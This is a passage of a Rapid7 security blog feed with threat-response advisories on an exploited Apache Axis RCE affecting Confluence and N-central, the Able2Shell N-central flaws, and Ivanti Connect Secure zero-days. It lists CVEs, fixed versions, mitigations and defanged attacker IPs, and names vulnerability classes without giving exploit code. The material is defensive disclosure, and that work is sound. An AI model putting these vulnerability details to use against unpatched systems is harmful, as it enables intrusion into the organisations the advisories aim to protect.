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    <title><![CDATA[ Emergent Threat Response - Rapid7 Cybersecurity Blog ]]></title>
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      <title><![CDATA[Rapid7 Detected Exploitation of CVE-2026-90436 against Atlassian Confluence Data Center, N-able N-central also Exploited]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 6, 2026, the Apache Software Foundation disclosed </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-90436"><span style='font-size: undefined;'>CVE-2026-90436</span></a><span style='font-size: undefined;'>, a critical unsafe reflection vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/470.html"><span style='font-size: undefined;'>CWE-470</span></a><span style='font-size: undefined;'>) in Axis 1.x that allows for unauthenticated remote code execution (RCE). Apache </span><a href="https://axis.apache.org/axis/"><span style='font-size: undefined;'>Axis</span></a><span style='font-size: undefined;'> is a Simple Object Access Protocol (SOAP) implementation used for the creation of Java Web services. CISA has assigned CVE-2026-90436 a CVSS score of </span><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?cveId=CVE-2026-90436&amp;vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&amp;version=3.1&amp;sourceName=CISA-ADP"><span style='font-size: undefined;'>9.8 Critical</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Since the initial November 6 disclosure, it has transpired that some versions of Atlassian </span><a href="https://confluence.atlassian.com/security/cve-2026-90436-remote-code-execution-in-confluence-data-center-1874560038.html"><span style='font-size: undefined;'>Confluence Data Center</span></a><span style='font-size: undefined;'> and N-able N-central use the affected Axis library and are vulnerable to CVE-2026-90436. Both products require a non-default configuration in order to be vulnerable.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-90436 is now being actively exploited in the wild against both known affected products. </span><span style='font-size: undefined;'><strong>On November 13, 2026, Rapid7 MDR detected exploitation of CVE-2026-90436 against Atlassian Confluence Data Center in a customer environment.</strong></span><span style='font-size: undefined;'> Separately, on November 13, 2026, N-able </span><a href="https://uptime.n-able.com/event/202613/"><span style='font-size: undefined;'>reported</span></a><span style='font-size: undefined;'> exploitation in the wild against N-central for a vulnerability that strongly </span><a href="https://www.acn.gov.it/portale/w/n-able-rilevate-due-ulteriori-catene-di-exploit-denominate-agent2shell-e-4everable2shell-"><span style='font-size: undefined;'>correlates</span></a><span style='font-size: undefined;'> to CVE-2026-90436. A proof-of-concept exploit that leverages CVE-2026-90436 and targets N-central was published on November 12, 2026, as part of a </span><a href="https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown/"><span style='font-size: undefined;'>series</span></a><span style='font-size: undefined;'> of public zero-day disclosures against N-central.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends remediating exposed systems on an emergency basis outside of normal patching cycles.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Prioritize internet-accessible instances with the relevant APIs enabled, and check internal deployments as well. Apply the product-specific actions below, then investigate systems that were exposed for evidence of compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Axis 1.x through 1.4 is affected but has reached end of life (EOL) and Apache does not plan to publish a fixed Axis 1.x release. Apache recommends moving to another SOAP engine (for example, Apache Axis 2) or using an Axis 1.x build with this </span><a href="https://github.com/apache/axis-axis1-java/commit/41f3b4e8d04e310ca81f86b92630ab2c11d608bd"><span style='font-size: undefined;'>patch</span></a><span style='font-size: undefined;'> applied. Organizations using products that are affected by this issue should follow the product vendor's specific remediation instructions.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Atlassian Confluence Data Center</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Atlassian lists versions 1.x through to 9.x as affected when “Remote API (XML-RPC & SOAP)” is enabled. Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.2.28</span></span><span style='font-size: undefined;'> is the fixed release. The setting has been off by default for new installations since version 3.0. Confluence version 10.x and later removed the feature so are not vulnerable, and Atlassian Cloud is unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Affected users should upgrade to version </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.2.28</span></span><span style='font-size: undefined;'> or a current unaffected 10.x release. If patching must wait, an administrator can open “General Configuration” and “Further Configuration”, edit the settings, clear “Remote API (XML-RPC & SOAP)”, and save. The change takes effect without restarting Confluence, but integrations using the API may stop working.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Follow the </span><a href="https://confluence.atlassian.com/security/cve-2026-90436-remote-code-execution-in-confluence-data-center-1874560038.html"><span style='font-size: undefined;'>Confluence advisory</span></a><span style='font-size: undefined;'> for the latest fixes and mitigation instructions.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>N-able N-central</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>On-premises administrators should confirm that “Legacy API” is disabled, even on 2026.4 HF2. N-able states that it is off by default, and provides </span><a href="https://me.n-able.com/s/article/How-to-Disable-Legacy-API-settings-on-On-premise-N-central-servers"><span style='font-size: undefined;'>instructions for disabling Legacy API</span></a><span style='font-size: undefined;'>. Its November 13 guidance says hosted environments received temporary protections directly; customers in both hosting models must still follow the vendor's Agent and Probe upgrade guidance. N-able also temporarily disabled the Intune integration as a precaution. Refer to the </span><a href="https://www.n-able.com/blog/new-security-update-on-n-central"><span style='font-size: undefined;'>N-able security update</span></a><span style='font-size: undefined;'> for these responsibilities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update: </strong></span><span style='font-size: undefined;'>On November 16, 2026, N-able </span><a href="https://status.n-able.com/2026/11/16/n-central-2026-4-hf3-release-notes/"><span style='font-size: undefined;'>released</span></a><span style='font-size: undefined;'> N-central 2026.4 HF3 (</span><span style='font-size: undefined;'><span data-type='inlineCode'>2026.4.1.39</span></span><span style='font-size: undefined;'>) which addresses multiple issues including seventeen new CVEs. The “Legacy API” feature which exposed the vulnerable CVE-2026-90436 Axis attack surface has been disabled in this new release. N-central users should upgrade to N-central 2026.4 HF3 on an emergency basis outside of normal patching cycles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Follow the </span><a href="https://status.n-able.com/2026/11/16/n-central-2026-4-hf3-release-notes/"><span style='font-size: undefined;'>N-able advisory</span></a><span style='font-size: undefined;'> for the latest fixes and mitigation instructions.</span></p><h2 style="direction: ltr;">IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The presence of these IOCs in logs should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Atlassian Confluence Data Center</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The following IP addresses are associated with observed exploitation of CVE-2026-90436 against Atlassian Confluence Data Center:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>192.238.253[.]176</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>5.133.47[.]243</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>163.182.68[.]109</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>104.13.106[.]166</span></span></p></li></ul><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>N-able N-central</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>N-able's </span><a href="https://uptime.n-able.com/event/202613/"><span style='font-size: undefined;'>November 13 incident update</span></a><span style='font-size: undefined;'> lists these IP addresses as IOCs for N-central customers who had not disabled Legacy API.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>157.20.241[.]16</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>139.99.69[.]109</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>79.76.51[.]56</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor's update also lists associated URLs for use in compromise assessment.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 16, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>November 17, 2026:</strong></span><span style='font-size: undefined;'> Updated Remediation section for N-central.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 16 Nov 2026 18:14:14 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Critical vulnerabilities in N-able N-central prompt hosted shutdown]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 9, 2026, N-able </span><a href="https://uptime.n-able.com/event/202580/"><span style='font-size: undefined;'>announced</span></a><span style='font-size: undefined;'> that it was responding to the public disclosure of critical vulnerabilities affecting </span><a href="https://www.n-able.com/products/n-central-rmm/network-and-device-management"><span style='font-size: undefined;'>N-central</span></a><span style='font-size: undefined;'>, its remote monitoring and management (RMM) platform.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In a public disclosure titled Able2Shell, an independent researcher has published details and proof-of-concept (PoC) code covering 33 issues. According to the disclosure, the issues include unauthenticated remote code execution (RCE), privilege escalation to root, credential disclosure, and unauthorized account creation. One unauthenticated chain combines XML external entity (XXE) and session-handling weaknesses to execute code as the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>nable</span><span style='font-size: undefined;'> service account. Other demonstrated chains involve an administrator viewing malicious patch metadata or use ProductAdmin credentials. Rapid7 Intelligence is currently triaging the newly published details.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before the hotfix release on November 10, N-able reported scanning activity associated with the published PoC code and said it had no evidence that any customer environment had been successfully exploited. The vendor advised keeping N-central deployments offline while it developed and validated a hotfix. Hosted N-central classic environments were offline, according to the same notice. That notice did not yet include CVE identifiers or CVSS scores.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>N-central is used by managed service providers (MSPs) and enterprise IT teams to administer endpoints and infrastructure. Compromise of an RMM server can put downstream managed environments at risk. N-central has previously been targeted through separate vulnerabilities, including an authentication bypass </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild/"><span style='font-size: undefined;'>covered by Rapid7 in August 2026</span></a><span style='font-size: undefined;'>. Given the platform's administrative reach and the availability of public exploit code, Rapid7 recommends treating the current disclosure as an emergency.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update #1:</strong></span><span style='font-size: undefined;'> On November 10, 2026, N-able </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>released N-central 2026.4 Hotfix 2</span></a><span style='font-size: undefined;'> (build </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.1.26</span></span><span style='font-size: undefined;'>), addressing seven CVEs. The vendor </span><a href="https://uptime.n-able.com/event/202584/"><span style='font-size: undefined;'>plans a follow-up hotfix</span></a><span style='font-size: undefined;'> with further security updates. On November 11, N-able confirmed that hosted N-central servers across all regions had been successfully upgraded.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Rapid7 strongly recommends that organizations operating on-premises N-central servers upgrade to N-central </strong></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><strong>2026.4 Hotfix 2</strong></span></span><span style='font-size: undefined;'><strong> (build </strong></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><strong>2026.4.1.26</strong></span></span><span style='font-size: undefined;'><strong>) on an emergency basis outside of normal patching cycles, and keep servers offline until successfully upgraded.</strong></span><span style='font-size: undefined;'> Hosted servers are upgraded by N-able.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Customers in both hosted and on-premises environments must also upgrade their Agents and Probes. To maintain communication, upgrade Agents first, then Probes, following the </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>vendor's compatibility guidance</span></a><span style='font-size: undefined;'> for the Patch Management Engine (PME).</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions:</strong></span><span style='font-size: undefined;'> The researcher reports testing N-central Appliance </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.0.31</span></span><span style='font-size: undefined;'>. N-able's current notice does not specify the full affected-version range.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed versions:</strong></span><span style='font-size: undefined;'> N-central </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4 Hotfix 2</span></span><span style='font-size: undefined;'> (build </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.1.26</span></span><span style='font-size: undefined;'>) addresses the seven CVEs listed below.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>According to </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>N-able's release notes</span></a><span style='font-size: undefined;'>, the hotfix addresses:</span></p><p></p><table><colgroup data-width='500'><col style="width:23.076923076923077%"/><col style="width:76.92307692307693%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125883/"><span style='font-size: undefined;'>CVE-2026-125883</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Multiple XXE vulnerabilities</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125878/"><span style='font-size: undefined;'>CVE-2026-125878</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Multiple OGNL injection vulnerabilities</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125879/"><span style='font-size: undefined;'>CVE-2026-125879</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local privilege escalation to root through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>nable</span><span style='font-size: undefined;'>-writable syslog-ng configuration</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125880/"><span style='font-size: undefined;'>CVE-2026-125880</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stored XSS through MMS3 patch metadata in an administrator context</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125881/"><span style='font-size: undefined;'>CVE-2026-125881</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Schema-hint SSRF through service-import schema validation</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125882/"><span style='font-size: undefined;'>CVE-2026-125882</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE through file-repository upload path traversal; credited to Nate Fair, Sprocket Security</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-91000/"><span style='font-size: undefined;'>CVE-2026-91000</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local privilege escalation through insecure IPC channels</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Further security updates are planned in a follow-up hotfix. Organizations should monitor the vendor's guidance and apply subsequent fixes as they become available.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also recommends reviewing N-central servers and downstream managed systems for signs of compromise and engaging incident responders if suspicious activity is identified.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to </span><a href="https://uptime.n-able.com/event/202580/"><span style='font-size: undefined;'>N-able's security incident notice</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Rapid7 customers</span></h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can identify N-able N-central “potential” vulnerabilities based on presence of software with remote unauthenticated checks with the release on November 11th, 2026. Note that potential check type must be enabled in the scan template before scanning.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Unauthenticated checks that validate vulnerable versions are in development.</span></p><h3>Intelligence Hub</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers leveraging Rapid7’s Intelligence Hub can access Suricata detection rules for CVE-2026-125883, CVE-2026-125878, CVE-2026-125879, CVE-2026-125880, CVE-2026-125881, and CVE-2026-125882.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 10, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>November 11, 2026</strong></span><span style='font-size: undefined;'>: Added hotfix availability, seven CVE identifiers, hosted upgrade confirmation, and updated remediation guidance. Noted the planned follow-up hotfix.</span></li><li><span style='font-size: undefined;'><strong>November 11, 2026</strong></span><span style='font-size: undefined;'>: Added availability of Suricata detection rules within Intelligence Hub.</span></li><li><span style='font-size: undefined;'><strong>November 11, 2026: </strong></span><span style='font-size: undefined;'>Added Exposure Command, Vulnerability Management, and Nexpose subsection under the Rapid7 customers section.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 10 Nov 2026 14:20:34 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 29, 2026, Ivanti </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>updated its security advisory</span></a><span style='font-size: undefined;'> for Ivanti Connect Secure (ICS) to include two additional vulnerabilities and released fixes for both. Ivanti rates </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-111357/"><span style='font-size: undefined;'>CVE-2026-111357</span></a><span style='font-size: undefined;'>, a missing authentication for critical function vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/306.html"><span style='font-size: undefined;'>CWE-306</span></a><span style='font-size: undefined;'>), with a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>8.8</span></a><span style='font-size: undefined;'>; it allows a local authenticated attacker to escalate privileges. </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-118527"><span style='font-size: undefined;'>CVE-2026-118527</span></a><span style='font-size: undefined;'>, classified as generation of predictable numbers or identifiers (</span><a href="https://cwe.mitre.org/data/definitions/340.html"><span style='font-size: undefined;'>CWE-340</span></a><span style='font-size: undefined;'>), has an Ivanti-assigned CVSSv3.0 score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"><span style='font-size: undefined;'>4.3</span></a><span style='font-size: undefined;'> and, according to </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-118527"><span style='font-size: undefined;'>CISA's KEV entry</span></a><span style='font-size: undefined;'>, allows a remote authenticated attacker to upload attacker-controlled content to a known location on disk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Per Ivanti, exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers when these flaws are chained with </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-104935"><span style='font-size: undefined;'>CVE-2026-104935</span></a><span style='font-size: undefined;'>, an authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>). Rapid7 </span><a href="https://www.rapid7.com/blog/post/etr-ivanti-connect-secure-zero-day-exploited-in-the-wild-cve-2026-104935/"><span style='font-size: undefined;'>covered the original disclosure on October 13, 2026</span></a><span style='font-size: undefined;'>, when a fix for CVE-2026-104935 was available but the privilege escalation component remained unpatched. Fixes are now available for all three vulnerabilities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 30, 2026, CVE-2026-111357 and CVE-2026-118527 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>known exploited vulnerabilities</span></a><span style='font-size: undefined;'> (KEV), based on evidence of active exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following scores and classifications are from Ivanti's updated advisory:</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Ivanti CVSS score</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CWE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Impact</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>8.6 (High), CVSSv3.0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-290</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote unauthenticated command execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>8.8 (High), CVSSv3.1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-306, CWE-862, CWE-345</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local authenticated privilege escalation</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4.3 (Medium), CVSSv3.0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-340</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote authenticated file upload to a known path</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note: The </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-111357"><span style='font-size: undefined;'>CVE record</span></a><span style='font-size: undefined;'> and Rapid7's vulnerability database rate CVE-2026-111357 at </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>7.0</span></a><span style='font-size: undefined;'>, using high attack complexity and unchanged scope. Ivanti assesses low attack complexity and changed scope, resulting in its score of 8.8. The table follows Ivanti's scores and classifications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In its </span><a href="https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/"><span style='font-size: undefined;'>investigation</span></a><span style='font-size: undefined;'>, Volexity reports that UTA0576 used an exploit chain to gain unauthenticated root access to an appliance running </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'>, beginning on October 3, 2026. Its write-up identifies CVE-2026-104935 and CVE-2026-111357; Ivanti's updated advisory identifies CVE-2026-118527 as an additional component of the chain. Volexity observed credential theft and Active Directory queries for Windows LAPS passwords and BitLocker recovery keys.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The combined impact warrants emergency remediation despite the individual CVSS ratings. Ivanti Connect Secure is an enterprise VPN solution deployed at the network edge and has a history of zero-day exploitation, including in </span><a href="https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/"><span style='font-size: undefined;'>2024</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/blog/post/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/"><span style='font-size: undefined;'>2025</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends applying the available updates on an emergency basis outside of normal patching cycles. The October 13 fixes in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span><span style='font-size: undefined;'> do not remediate CVE-2026-111357 or CVE-2026-118527.</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE(s)</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed version(s)</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357 and CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.3</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357 and CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.6</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.1</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.2.2</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti recommends moving from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8.X</span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.3</span><span style='font-size: undefined;'> or later, or applying </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.6</span><span style='font-size: undefined;'> if migration is not immediately possible. Ivanti lists </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'> and later on ISA4500, ISA6500, or ISA8500 as unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also recommends investigating for compromise after patching. Volexity reports that the observed activity evades Ivanti's Integrity Checker Tool, so a clean result does not rule out compromise. Preserve memory and logs before rebooting or resetting where feasible. If compromise is suspected, follow Ivanti's </span><a href="https://hub.ivanti.com/s/article/Recovery-Steps"><span style='font-size: undefined;'>recovery steps</span></a><span style='font-size: undefined;'> and rotate potentially exposed credentials.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For current fixed versions and mitigation guidance, refer to Ivanti's </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>. Its linked recovery procedure includes older release references.</span></p><h3 